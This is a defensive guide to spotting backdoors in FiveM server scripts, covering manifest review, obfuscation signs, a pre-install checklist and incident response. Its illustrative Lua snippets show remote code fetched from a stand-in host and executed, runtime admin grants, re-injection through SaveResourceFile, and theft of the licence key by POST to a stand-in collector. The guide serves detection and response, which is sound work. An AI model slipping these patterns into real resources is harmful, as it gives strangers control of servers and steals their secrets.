How to Spot a Backdoored FiveM Script

The four shapes a backdoor takes, how to read a resource before it runs, and what to do first when you find one. Ordered by what actually protects you.

6 minute read

Someone sends you a "free leaked" script. You drop it in resources, restart, and everything works. Three weeks later a stranger has admin, your database is gone, or your server is quietly relaying advertising to your own players.

This guide is how to look at a resource before it runs, what the patterns actually mean, and what to do when you find one.

Nothing here uploads your files. The Backdoor Scanner reads them in your browser, which is the only sane way to inspect a script you already do not trust.

Start by reading the manifest

fxmanifest.lua decides what runs. Open it first, every time.

fx_version "cerulean"game "gta5"client_scripts {    "client/*.lua",}server_scripts {    "server/*.lua",    "config/init.lua",}

Two questions, in this order:

  1. Does every listed file make sense for what this resource claims to do? A parking script with a server_script called updater.lua deserves a look.
  2. Is anything loaded with a wildcard you cannot see through? server/*.lua is normal, but it also means a file added later runs with no further edit.

Then compare the manifest against the folder. A file that exists on disk and is not in the manifest is usually dead weight. A file in the manifest that you cannot find is a much worse sign.

The four shapes a backdoor takes

Almost everything malicious falls into one of four families. Knowing the family matters more than memorising strings, because the strings change and the shapes do not.

1. Code fetched at runtime and executed

The resource downloads something and runs it. Whatever you audit today, it can serve something different tomorrow.

PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)    if code == 200 then        assert(load(body))()    endend, "GET")

load, loadstring, RunString and assert(load(...)) turn text into running code. Paired with an HTTP call in the same file, there is no innocent reading.

An auto-updater is the usual cover story. A legitimate updater downloads a file and asks you to restart. It does not execute what it downloaded in memory.

2. Permissions granted at runtime

The quietest family, and the one people miss, because nothing looks unusual until an account nobody created has full access.

RegisterNetEvent("core:sync", function(identifier)    ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))end)

Two things are wrong here. add_principal at runtime should never come from a resource you did not write, and the event takes an identifier from the client, so anyone can call it with their own.

Search any resource for add_principal, add_ace and ExecuteCommand. In a normal gameplay script the count is zero.

3. Persistence and re-injection

The interesting part of a serious backdoor is what happens after you find it.

SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)

SaveResourceFile lets a resource rewrite another resource. Delete the malicious script and it comes back from the one that was rewritten. This is why finding one file is not the same as being clean.

4. Secret exfiltration

The reason it was worth planting.

local key = GetConvar("sv_licenseKey", "")PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)

A resource reading sv_licenseKey, steam_webApiKey, rcon_password or your MySQL connection string has no legitimate reason to. Neither does a Discord webhook URL you did not add.

Obfuscation is not the crime, but it is the signal

Plenty of paid scripts are obfuscated to protect a licence, so obfuscation alone does not mean malicious. What it means is that you cannot audit it, and that is a decision you should take deliberately rather than by accident.

What you seeWhat it means
\x68\x74\x74\x70 repeatedhex escaped strings, hiding a URL or a name
string.char(104, 116, 116, 112)the same idea, decimal
A single line over 800 charactersminified, so nobody skims it
_0x4f2a style namesa JavaScript obfuscator, common in NUI payloads
LPH_NO_VIRTUALIZE, IronBrew, Lurapha Lua obfuscator by name

The honest rule: an obfuscated file from a paid vendor you chose is a risk you accepted. An obfuscated file inside a free leak is a risk somebody chose for you.

Hex and Base64 blobs decode in one step with the Base64, hex and URL decoder. It runs in your browser too, so you are not pasting a suspicious payload into a stranger's website.

Do this before every install

A short routine catches most of it.

  1. Scan the archive. Drop the .zip straight into the Backdoor Scanner. It reads zips without extracting them anywhere.
  2. Read the manifest, and compare it with the folder contents.
  3. Grep for the four families. load(, PerformHttpRequest, add_principal, SaveResourceFile, GetConvar.
  4. Install on a test server first, with a throwaway licence key and a database that holds nothing.
  5. Watch the console on first start. Backdoors that phone home usually do it immediately, and an HTTP error at boot is a gift.

When you find one

Order matters here, and the instinct to delete the file first is wrong.

  1. Stop the server. Not the resource. The server.
  2. Rotate every secret: sv_licenseKey from the Cfx portal, your database password, your Discord webhooks, any API key in a convar. Assume everything in server.cfg is known. The secret generator produces replacements without sending them anywhere.
  3. Check add_principal in your own configs and remove every identifier you do not recognise.
  4. Audit the other resources, because of family 3. A single backdoor that used SaveResourceFile means the others need reading too.
  5. Only then delete the resource, and restore from a backup you made before it was ever installed if you have one.

Changing your licence key without changing your database password solves nothing. Whoever had server-side code execution had your credentials too.

What this cannot tell you

Pattern matching over source text is not proof.

A careful backdoor can avoid every pattern in this guide, and clean code sometimes matches them: a legitimate resource may well call PerformHttpRequest, and plenty of good scripts read a convar. That is why the scanner explains what each finding means rather than printing a verdict.

Treat a report as a list of places to look, not a judgement. The judgement stays yours, and it should.

Tools this guide uses